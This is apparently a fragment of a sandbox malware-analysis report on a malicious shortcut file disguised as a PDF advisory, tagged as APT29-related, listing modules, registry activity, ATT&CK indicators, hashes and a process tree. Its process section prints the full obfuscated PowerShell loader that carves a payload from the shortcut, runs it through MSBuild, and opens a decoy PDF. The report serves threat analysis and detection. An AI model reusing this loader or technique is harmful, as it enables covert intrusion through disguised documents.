"%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\49750EA038273F75321E479EF1525D1E\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 22a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\DD0ED795D7234A2AE4314DE052867161\SYSTEM.TRANSACTIONS.NI.DLL" at base 1530000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 5360000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base 2fd30000 "powershell.exe" loaded module "SSPICLI.DLL" at base 39fd0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPCLIENT.DLL" at base f3180000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 3c920000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 3ca00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 3b7c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\9494EDA0C9AF503CB61FE450B5BA9C1A\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base f2f40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\B4C34523C582146DEA3CA389E3487145\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7660000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\468FA5AE84991AAF4D90ECEE8788F024\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base f2220000 "powershell.exe" loaded module "KERNELBASE" at base 3ae00000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 26300000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTYPES.DLL" at base 38bf0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 2b460000 "powershell.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 3ae00000 "powershell.exe" loaded module "VIRTDISK.DLL" at base bcf0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 33fe0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 381c00002c:T6cf,"powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "powershell.exe" touched "Activation Layout Preferences" (Path: "HKCU\CLSID\{0DC1AB8B-A52D-4BA8-BD76-E2819386FB2F}\TREATAS") "powershell.exe" touched "Adobe Acrobat Document" (Path: "HKCU\CLSID\{B801CA65-A1FC-11D0-85AD-444553540000}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "powershell.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\PROGID") "powershell.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "powershell.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "powershell.exe" touched "Start Menu Cache" (Path: "HKCU\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\PROGID") "powershell.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\PROGID") "powershell.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "powershell.exe" touched "Custom Destination List" (Path: "HKCU\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}\TREATAS") "powershell.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "powershell.exe" touched "Shortcut" (Path: "HKCU\CLSID\{00021401-0000-0000-C000-000000000046}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "powershell.exe" touched "A collection of IUnknown objects that can be enumerated" (Path: "HKCU\CLSID\{2D3468C1-36A7-43B6-AC24-D3F02FD9607A}\TREATAS")2d:T52e,Observed system executable string:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: Advisory23-UCDMS04-11-01.pdf.lnk] Observed system executable string:"/C:\ADVISO~1.LNKC:\Advisory23-UCDMS04-11-01.pdf.lnkdtl4drc8j7zxisb1SPS1SPS|O)Dv< -uV/C:\WindowsSystem32WindowsPowerShellv1.0T@{ powershell_ise.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exedtl4drc8j7zxisb1SPS1SPS|O)Dv< -uV/C:\WindowsSystem32WindowsPowerShellv1.0T@{ powershell_ise.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exedtl4drc8j7zxisb1SPS1SPS|O)Dv< -uV" [Source: DH7716QWUQ6F416J2N8H.temp] Observed system executable string:"\Device\HarddiskVolume3\Windows\System32\conhost.exe" [Source: 00000000-00001412-00000BC0-693199346] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" [Source: 00000000-00001412-00000BC0-700727645] Observed system executable string:"%WINDIR%\system32\windowspowershell\v1.0\powershell_ise.exe" [Source: 00000000-00001412-00000C28-2091103952] Observed system executable string:""%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" %TEMP%\ChromeConnection" [Source: 00000000-00001412-00000C41-16517684126]2e:T1328,Observed system executable string:"

                ;\" (Indicator: \"aes\"; File: \"Advisory23-UCDMS04-11-01.pdf.lnk\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"level":"informative","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\DH7716QWUQ6F416J2N8H.temp\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_qs4brnfz.b53.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_5tlt2ead.5tb.psm1\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00001412)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \"\\Device\\HarddiskVolume3\\Windows\\System32\\conhost.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00001412-00000BC0-693199346\")\n Found string \"\\Device\\HarddiskVolume3\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00001412-00000BC0-700725176\")\n Found string \"\\Device\\HarddiskVolume3\\Program Files (x86)\\Adobe\\Reader 11.0\\Reader\\AcroRd32.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00001412-00000BC1-703171992\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\STATE\\USERSETTINGS\\S-1-5-21-1271187874-1938232448-3812392235-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME3\\PROGRAM FILES (X86)\\ADOBE\\READER 11.0\\READER\\ACRORD32.EXE\"; Value: \"E92ECC8441D9DA0100000000000000000000000002000000\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"level":"informative","category":"System Security","name":"Modifies Software Policy Settings","description":"\"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"level":"informative","category":"System Security","name":"Modifies proxy settings","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"level":"informative","category":"System Security","name":"Queries sensitive IE security settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$37","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"level":"informative","category":"System Security","name":"Queries the display settings of system associated file extensions","description":"\"powershell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"ALWAYSSHOWEXT\")\n \"powershell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"NEVERSHOWEXT\")\n \"powershell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.LNK\"; Key: \"ALWAYSSHOWEXT\")","origin":"Registry Access","mitre_attack_id":"T1005","relevance":7,"id":"registry-47","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$38","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"UserCache.bin\"  - Location: [%LOCALAPPDATA%\\Adobe\\Acrobat\\11.0\\UserCache.bin]- [targetUID: 00000000-00007104]\n Dropped file: \"Annssi.dat\"  - Location: [%APPDATA%\\Adobe\\Acrobat\\11.0\\Security\\Annssi.dat]- [targetUID: 00000000-00007104]\n Dropped file: \"Annss.dat\"  - Location: [%APPDATA%\\Adobe\\Acrobat\\11.0\\Security\\Annss.dat]- [targetUID: 00000000-00007104]\n Dropped file: \"DH7716QWUQ6F416J2N8H.temp\"  - Location: [%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\DH7716QWUQ6F416J2N8H.temp]- [targetUID: 00000000-00001412]\n Dropped file: \"StartupProfileData-NonInteractive\"  - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00001412]\n Dropped file: \"Annssk.dat\"  - Location: [%APPDATA%\\Adobe\\Acrobat\\11.0\\Security\\Annssk.dat]- [targetUID: 00000000-00007104]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops script files inside temp directory","description":"Dropped file: \"__PSScriptPolicyTest_qs4brnfz.b53.ps1\"  - Location: [%TEMP%\\__PSScriptPolicyTest_qs4brnfz.b53.ps1]- [targetUID: 00000000-00001412]","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-35","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"powershell.exe\" called \"CreateProcessW\" with parameter \"\"C:\\Program Files (x86)\\Adobe\\Reader 11.0\\Reader\\AcroRd32.exe\" \"%TEMP%\\Advisory23-UCDMS04-11-01.pdf\"\" - (UID: 00000000-00001412)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Detected MSBuild process execution","description":"Process \"MSBuild.exe\" with commandline \"%TEMP%\\\\ChromeConnection\" (UID: 00000000-00002796)","origin":"Monitored Target","mitre_attack_id":"T1127.001","relevance":5,"id":"target-300","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Uses a Windows Living Off The Land Binaries (LOL bins)","description":"Process \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe\" launched with commandline \"%TEMP%\\\\ChromeConnection\" (UID: 00000000-00002796)","origin":"Monitored Target","relevance":3,"id":"target-411","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to detect virtual environment","description":"\"AcroRd32.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\\CENTRALPROCESSOR\\0\"; Key: \"~MHZ\")","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-87","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"powershell.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe\" (Handle: 2376)\n \"powershell.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe\" (Handle: 2376)\n \"powershell.exe\" wrote 000011C0 bytes to a remote process \"C:\\Program Files (x86)\\Adobe\\Reader 11.0\\Reader\\AcroRd32.exe\" (Handle: 2416)\n \"powershell.exe\" wrote 00000008 bytes to a remote process \"C:\\Program Files (x86)\\Adobe\\Reader 11.0\\Reader\\AcroRd32.exe\" (Handle: 2416)\n \"powershell.exe\" wrote 00000004 bytes to a remote process \"C:\\Program Files (x86)\\Adobe\\Reader 11.0\\Reader\\AcroRd32.exe\" (Handle: 2416)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]}]},"activity":{"stats":{"process_count":3,"spawned_processes_count":3,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":13,"imported_dlls_count":155,"dropped_files_count":0,"extracted_files_count":11,"files_written_count":27,"files_deleted_count":0,"registry_keys_created_count":3,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":3,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["apt29","cozer","cozybear","cozycar","cozyduke","dukes","euroapt","group100","hammertoss","minidionis","officemonkeys","powerduke","seaduke","targeted","thedukes","backdoor"],"sample_flags":["Multi-Process","Extracted Files"],"sandbox_reports":[{"id":"6698fdcb7f1a3ff8f5037c47","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"submit_name":"Advisory23-UCDMS04-11-01.pdf.lnk","analysis_start_time":"2024-07-18T11:34:35+00:00","indicators_count":{"informative":109,"suspicious":5,"malicious":0},"tags":["Multi-Process","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}],"processes":[{"pid":1412,"ppid":0,"name":"powershell.exe","command_line":"$$i=$env:tmp;$e=\\\"Advisory23-UCDMS04-11-01.pdf.lnk\\\";$h=\"gci $i -r -ea 0|?{$_.Name -like $e -and $_.Length -eq 1898912}|sort LastWriteTime -desc\";if($h.Count -gt 0){$e=$h[0].FullName;};$q=[System.IO.File];$n=$q::ReadALlBytes($e);$y=$i+\\\"\\ChromeConnection\\\";$q::WriteAllBytes($y,$n[2772..97211]);c:\\w*\\*t\\*4\\v4*\\*d.*e \"$y\";$y=$i+\\\"\\Advisory23-UCDMS04-11-01.pdf\\\";$q::WriteAllBytes($y,$n[97211..1898912]);if(test-path $y){&$y;};","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","uid":"00000000-00001412","icon":"$39"},{"pid":2796,"ppid":1412,"name":"MSBuild.exe","command_line":"%TEMP%\\ChromeConnection","sha256":"3d2b22b6bc51e0918263f4420e6bdf7d982d961b54176c470cac11841d1c9b33","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe","parent_uid":"00000000-00001412","uid":"00000000-00002796"},{"pid":7104,"ppid":1412,"name":"AcroRd32.exe","command_line":"\"%TEMP%\\Advisory23-UCDMS04-11-01.pdf\"","sha256":"c43c0929e1f9b27dac07d49b0a659e83be4cdb4dfdd709eb7e37a341cd169e87","normalized_path":"%PROGRAMFILES%\\(x86)\\Adobe\\Reader 11.0\\Reader\\AcroRd32.exe","parent_uid":"00000000-00001412","uid":"00000000-00007104"}],"all_imported_dlls":["Windows.StateRepositoryPS.dll","wow64cpu.dll","msacm32.dll","BIB.dll","ccme_base.dll","combase.dll","user32.dll","clbcatq.dll","policymanager.dll","gpapi.dll","CoreMessaging.dll","ucrtbase.dll","sspicli.dll","wow64con.dll","winnsi.dll","System.Management.Automation.ni.dll","clrjit.dll","virtdisk.dll","dpapi.dll","CoreUIComponents.dll","atl.dll","kernel.appcore.dll","secur32.dll","version.dll","wintrust.dll","mpr.dll","GdiPlus.dll","sqlite.dll","coml2.dll","msvcp_win.dll","System.DirectoryServices.ni.dll","Microsoft.PowerShell.Security.ni.dll","AcroRd32.dll","oleaut32.dll","MpOAV.dll","wshext.dll","ole32.dll","cfgmgr32.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","apphelp.dll","ccme_asym.dll","ccme_ecdrbg.dll","amsi.dll","Microsoft.PowerShell.Commands.Management.ni.dll","msctf.dll","nsi.dll","kernel32.dll","win32u.dll","cscapi.dll","msvcp110_win.dll","OneCoreCommonProxyStub.dll","System.Configuration.Install.ni.dll","cryptsp.dll","System.Xml.ni.dll","AXE8SharedExpat.dll","ccme_base_non_fips.dll","fltLib.dll","windows.storage.dll","TaskFlowDataEngine.dll","vcruntime140_clr0400.dll","ntdll.dll","cryptbase.dll","System.Data.ni.dll","ntmarta.dll","AGM.dll","mscoree.dll","mW7wsIxR.dll","wow64base.dll","AcGenral.dll","msvcp100.dll","rasadhlp.dll","shlwapi.dll","propsys.dll","bcrypt.dll","msvcr100.dll","msvcrt.dll","vcruntime140_1_clr0400.dll","mscorlib.ni.dll","psapi.dll","urlmon.dll","wow64win.dll","ACE.dll","OnDemandConnRouteHelper.dll","imm32.dll","linkinfo.dll","Windows.StateRepositoryClient.dll","samcli.dll","ieframe.dll","IPHLPAPI.DLL","wsock32.dll","KernelBase.dll","wldp.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","TextShaping.dll","uxtheme.dll","profapi.dll","System.Transactions.ni.dll","DataExchange.dll","bcryptprimitives.dll","userenv.dll","crypt32.dll","pwrshsip.dll","winhttp.dll","wininet.dll","rpcrt4.dll","SHCore.dll","srvcli.dll","ucrtbase_clr0400.dll","System.Core.ni.dll","msisip.dll","System.Configuration.ni.dll","OneCoreUAPCommonProxyStub.dll","advapi32.dll","sechost.dll","ntshrui.dll","msasn1.dll","winmm.dll","CoolType.dll","TextInputFramework.dll","mscms.dll","Microsoft.Management.Infrastructure.ni.dll","SensApi.dll","ws2_32.dll","rsaenh.dll","comctl32.dll","msimg32.dll","dnsapi.dll","cryptocme.dll","System.Management.ni.dll","System.Data.dll","System.Transactions.dll","ccme_ecc.dll","gdi32full.dll","clr.dll","netutils.dll","dwmapi.dll","twinapi.appcore.dll","AdobeXMP.dll","FWPUCLNT.DLL","AXSLE.dll","AppResolver.dll","edputil.dll","iertutil.dll","mswsock.dll","gdi32.dll","shell32.dll","MpClient.dll","wow64.dll","BIBUtils.dll","VxSSL64.dll","BCP47Langs.dll","System.ni.dll","WinTypes.dll","mscoreei.dll","AppxSip.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"Advisory23-UCDMS04-11-01.pdf","sha256":"8d6fe8e336e020410753ff15ece5f36bae992f7f234385a23590a11ed734792d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"name":"ChromeConnection","sha256":"b6abbeab6e000036c6cdffc57c096d796397263e280ea264eba73ac5bab39441","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"name":"Annss.dat","sha256":"a9329364c2ba4ebddc8939592dbc160cb88d2d1e8cfb5524d470d1ec58206edc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"name":"Annssi.dat","sha256":"24ded4d88cfb678df5f84d66f0b36159ee4ce74d700d9478c8c0ff925d596bfc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"name":"Annssk.dat","sha256":"6479c2d91774e30a527dd25953204733a58642c057e77a8641b8188740eaa193","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"name":"DH7716QWUQ6F416J2N8H.temp","sha256":"f955da6e1985848eebc9fd8dd85576655dce437c52bdc42bfdeb7ffb689c6a86","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"name":"UserCache.bin","sha256":"c5b0f95aa8cd9104a937e1981bf8b9aaaba2bff57cd031504b4b15bc0e240811","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"name":"StartupProfileData-NonInteractive","sha256":"a6dc18eb8bc92dfdaf358906d15b4f8b6e8fc945749a15c4f4948f4705202025","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"name":"__PSScriptPolicyTest_5tlt2ead.5tb.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"name":"__PSScriptPolicyTest_qs4brnfz.b53.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"name":"AdobeFnt14.lst.7104","sha256":"5c5ab0d6909beec5ec41c3b86b2abbc7946a5c1146c13e843988545445d94aa1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]}],"files_written":[{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\DH7716QWUQ6F416J2N8H.temp","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_qs4brnfz.b53.ps1","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_5tlt2ead.5tb.psm1","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"path":"%TEMP%\\ChromeConnection","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"path":"%TEMP%\\Advisory23-UCDMS04-11-01.pdf","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"path":"%LOCALAPPDATA%\\ow\\Adobe\\Acrobat\\11.0\\ReaderMessages","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"path":"%LOCALAPPDATA%\\Adobe\\Acrobat\\11.0\\SharedDataEvents","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"path":"%LOCALAPPDATA%\\ow\\Adobe\\Acrobat\\11.0\\ReaderMessages-journal","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"path":"%LOCALAPPDATA%\\Adobe\\Acrobat\\11.0\\AdobeFnt14.lst.7104","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},